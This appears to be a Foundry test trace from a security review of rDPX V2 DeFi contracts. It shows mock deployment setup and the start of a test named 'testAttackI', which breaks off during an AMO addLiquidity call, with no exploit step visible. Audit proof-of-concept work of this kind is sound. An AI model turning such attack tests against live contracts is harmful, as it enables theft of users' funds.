    │   │   ├─ emit Approval(owner: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], spender: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   └─ ← 7052 bytes of code
    ├─ [239] RdpxReserve::RDPXV2CORE_ROLE() [staticcall]
    │   └─ ← 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533
    ├─ [27497] RdpxReserve::grantRole(0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   ├─ emit RoleGranted(role: 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, account: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [187992] PerpetualAtlanticVault::setAddresses(MockOptionPricing: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], MockRdpxEthPriceOracle: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], MockVolatilityOracle: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], 0x0000000000000000000000000000000000000001, MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   ├─ [2826] MockToken::allowance(PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70]) [staticcall]
    │   │   └─ ← 0
    │   ├─ [22581] MockToken::approve(PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], spender: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ emit AddressesSet(addresses: (0x03A6a84cD762D9707A21605b548aaaB891562aAb, 0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF, 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, 0x0000000000000000000000000000000000000001, 0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0xD16d567549A2a2a2005aEACf7fB193851603dd70, 0x2a07706473244BC757E10F2a9E86fB532828afe3))
    │   └─ ← ()
    ├─ [330052] RdpxV2Core::setAddresses(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, RdpxDecayingBonds: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7], PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], RdpxReserve: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x0000000000000000000000000000000000000064, ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], RdpxV2Bond: [0xa0Cb889707d426A7A386870A03bc70d1b0697598]) 
    │   ├─ [24681] MockToken::approve(PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [24681] MockToken::approve(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [24681] MockToken::approve(0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [24681] MockToken::approve(MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ emit LogSetAddresses(addresses: (0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7, 0x212224D2F2d262cd093eE13240ca4873fcCBbA3C, 0xD16d567549A2a2a2005aEACf7fB193851603dd70, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, 0xc7183455a4C133Ae270771860664b6B7ec320bB1, 0x0000000000000000000000000000000000000064, 0x1d1499e622D69689cdf9004d05Ec547d650Ff211, 0xa0Cb889707d426A7A386870A03bc70d1b0697598))
    │   └─ ← ()
    ├─ [46731] RdpxV2Core::setPricingOracleAddresses(MockRdpxEthPriceOracle: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], MockDpxEthPriceOracle: [0x15cF58144EF33af1e14b5208015d11F9143E27b9]) 
    │   ├─ emit LogSetPricingOracleAddresses(pricingOracleAddresses: (0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF, 0x15cF58144EF33af1e14b5208015d11F9143E27b9))
    │   └─ ← ()
    ├─ [24469] RdpxV2Core::addToContractWhitelist(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    │   ├─ emit AddToContractWhitelist(_contract: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [195909] 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506::addLiquidity(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 10000000000000000000000 [1e22], 2000000000000000000000 [2e21], 1000000000000000000000 [1e21], 200000000000000000000 [2e20], RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 1662865216 [1.662e9]) 
    │   ├─ [644] 0xc35DADB65012eC5796536bD9864eD8773aBc74C4::getPair(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
    │   │   └─ ← 0x000000000000000000000000ba3647555a53e16eb88ae9e7e9cfce034c96277e
    │   ├─ [2517] 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E::getReserves() [staticcall]
    │   │   └─ ← 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    │   ├─ [25701] MockToken::transferFrom(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, 10000000000000000000000 [1e22]) 
    │   │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, amount: 10000000000000000000000 [1e22])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [25701] MockToken::transferFrom(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, 2000000000000000000000 [2e21]) 
    │   │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, amount: 2000000000000000000000 [2e21])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [135190] 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E::mint(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   │   ├─ [583] MockToken::balanceOf(0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E) [staticcall]
    │   │   │   └─ ← 10000000000000000000000 [1e22]
    │   │   ├─ [583] MockToken::balanceOf(0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E) [staticcall]
    │   │   │   └─ ← 2000000000000000000000 [2e21]
    │   │   ├─ [2338] 0xc35DADB65012eC5796536bD9864eD8773aBc74C4::feeTo() [staticcall]
    │   │   │   └─ ← 0x000000000000000000000000a19b3b22f29e23e4c04678c94cfc3e8f202137d8
    │   │   ├─ [2337] 0xc35DADB65012eC5796536bD9864eD8773aBc74C4::migrator() [staticcall]
    │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000000
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000000000, amount: 1000)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 4472135954999579391818 [4.472e21])
    │   │   ├─ emit Sync(: 10000000000000000000000 [1e22], : 2000000000000000000000 [2e21])
    │   │   ├─ emit Mint(param0: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, param1: 10000000000000000000000 [1e22], param2: 2000000000000000000000 [2e21])
    │   │   └─ ← 4472135954999579391818 [4.472e21]
    │   └─ ← 0x00000000000000000000000000000000000000000000021e19e0c9bab240000000000000000000000000000000000000000000000000006c6b935b8bbd4000000000000000000000000000000000000000000000000000f26f5a94ae2a3e374a
    ├─ [23930] RdpxV2Core::setBondDiscount(100000 [1e5]) 
    │   ├─ emit LogSetBondDiscountFactor(bondDiscountFactor: 100000 [1e5])
    │   └─ ← ()
    ├─ [24681] MockToken::approve(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    ├─ [24681] MockToken::approve(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    ├─ [24681] MockToken::approve(PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    ├─ [140092] PerpetualAtlanticVaultLP::deposit(100000000000000000000 [1e20], Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    │   ├─ [1144] PerpetualAtlanticVault::getUnderlyingPrice() [staticcall]
    │   │   ├─ [324] MockRdpxEthPriceOracle::getRdpxPriceInEth() [staticcall]
    │   │   │   └─ ← 20000000 [2e7]
    │   │   └─ ← 20000000 [2e7]
    │   ├─ [39946] PerpetualAtlanticVault::updateFunding() 
    │   │   ├─ [7315] MockToken::transfer(PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], 0) 
    │   │   │   ├─ emit Transfer(from: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], to: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], amount: 0)
    │   │   │   └─ ← true
    │   │   ├─ [2031] PerpetualAtlanticVaultLP::addProceeds(0) 
    │   │   │   ├─ [583] MockToken::balanceOf(PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70]) [staticcall]
    │   │   │   │   └─ ← 0
    │   │   │   └─ ← ()
    │   │   ├─ emit FundingPaid(sender: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], amount: 0, latestFundingPaymentPointer: 0)
    │   │   └─ ← ()
    │   ├─ [23701] MockToken::transferFrom(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], 100000000000000000000 [1e20]) 
    │   │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], amount: 100000000000000000000 [1e20])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 100000000000000000000 [1e20])
    │   ├─ emit Deposit(caller: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], assets: 100000000000000000000 [1e20], shares: 100000000000000000000 [1e20])
    │   └─ ← 100000000000000000000 [1e20]
    ├─ [295] PerpetualAtlanticVault::RDPXV2CORE_ROLE() [staticcall]
    │   └─ ← 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533
    ├─ [27615] PerpetualAtlanticVault::grantRole(0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   ├─ emit RoleGranted(role: 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, account: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [239] DpxEthToken::MINTER_ROLE() [staticcall]
    │   └─ ← 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6
    ├─ [25549] DpxEthToken::grantRole(0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [241] DpxEthToken::BURNER_ROLE() [staticcall]
    │   └─ ← 0x3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a848
    ├─ [27549] DpxEthToken::grantRole(0x3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a848, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   ├─ emit RoleGranted(role: 0x3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a848, account: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [23390] DpxEthToken::mint(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 100000000000000000000 [1e20]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 100000000000000000000 [1e20])
    │   └─ ← ()
    ├─ [1198] RdpxV2Core::sync() 
    │   ├─ emit LogSync()
    │   └─ ← ()
    ├─ [284] RdpxDecayingBonds::RDPXV2CORE_ROLE() [staticcall]
    │   └─ ← 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533
    ├─ [27526] RdpxDecayingBonds::grantRole(0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   ├─ emit RoleGranted(role: 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, account: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [26244] RdpxV2Core::approveContractToSpend(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ [24681] MockToken::approve(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   └─ ← ()
    ├─ [26244] RdpxV2Core::approveContractToSpend(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ [24681] MockToken::approve(PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   └─ ← ()
    ├─ [26221] RdpxV2Core::approveContractToSpend(DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ [24658] DpxEthToken::approve(0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   └─ ← ()
    ├─ [26221] RdpxV2Core::approveContractToSpend(DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ [24658] DpxEthToken::approve(MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   └─ ← ()
    ├─ [23995] RdpxV2Core::setBondMaturity(432000 [4.32e5]) 
    │   ├─ emit LogSetBondMaturity(bondMaturity: 432000 [4.32e5])
    │   └─ ← ()
    ├─ [118125] RdpxV2Core::addAssetTotokenReserves(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], RDPX) 
    │   ├─ emit LogAssetAddedTotokenReserves(asset: MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], assetSymbol: RDPX)
    │   └─ ← ()
    ├─ [96795] RdpxV2Core::addAssetTotokenReserves(MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], WETH) 
    │   ├─ emit LogAssetAddedTotokenReserves(asset: MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], assetSymbol: WETH)
    │   └─ ← ()
    ├─ [97365] RdpxV2Core::addAssetTotokenReserves(DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], DPXETH) 
    │   ├─ emit LogAssetAddedTotokenReserves(asset: DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], assetSymbol: DPXETH)
    │   └─ ← ()
    └─ ← ()

  [2216931] Periphery::testAttackI() 
    ├─ [1623750] → new UniV2LiquidityAMO@0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 7877 bytes of code
    ├─ [156876] UniV2LiquidityAMO::setAddresses(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], MockRdpxEthPriceOracle: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 0xc35DADB65012eC5796536bD9864eD8773aBc74C4, 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506) 
    │   └─ ← ()
    ├─ [47149] RdpxV2Core::addAMOAddress(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758]) 
    │   └─ ← ()
    ├─ [28744] RdpxV2Core::approveContractToSpend(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ [24681] MockToken::approve(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   └─ ← ()
    ├─ [28744] RdpxV2Core::approveContractToSpend(MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ [24681] MockToken::approve(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   └─ ← ()
    ├─ [32015] MockToken::transfer(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 50000000000000000000 [5e19]) 
    │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 50000000000000000000 [5e19])
    │   └─ ← true
    ├─ [32015] MockToken::transfer(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 11000000000000000000 [1.1e19]) 
    │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 11000000000000000000 [1.1e19])
    │   └─ ← true
    ├─ [214708] UniV2LiquidityAMO::addLiquidity(5000000000000000000 [5e18], 1000000000000000000 [1e18], 0, 0) 
    │   ├─ [2826] MockToken::allowance(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506) [staticcall]
    │   │   └─ ← 0
    │   ├─ [22581] MockToken::approve(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 5000000000000000000 [5e18]) 
    │   │   ├─ emit Approval(owner: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 5000000000000000000 [5e18])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [2826] MockToken::allowance(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506) [staticcall]
    │   │   └─ ← 0
    │   ├─ [22581] MockToken::approve(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 1000000000000000000 [1e18]) 
    │   │   ├─ emit Approval(owner: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 1000000000000000000 [1e18])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [25701] MockToken::transferFrom(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 5000000000000000000 [5e18]) 
    │   │   ├─ emit Transfer(from: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], to: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], amount: 5000000000000000000 [5e18])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [25701] MockToken::transferFrom(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 1000000000000000000 [1e18]) 
    │   │   ├─ emit Transfer(from: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], to: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], amount: 1000000000000000000 [1e18])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
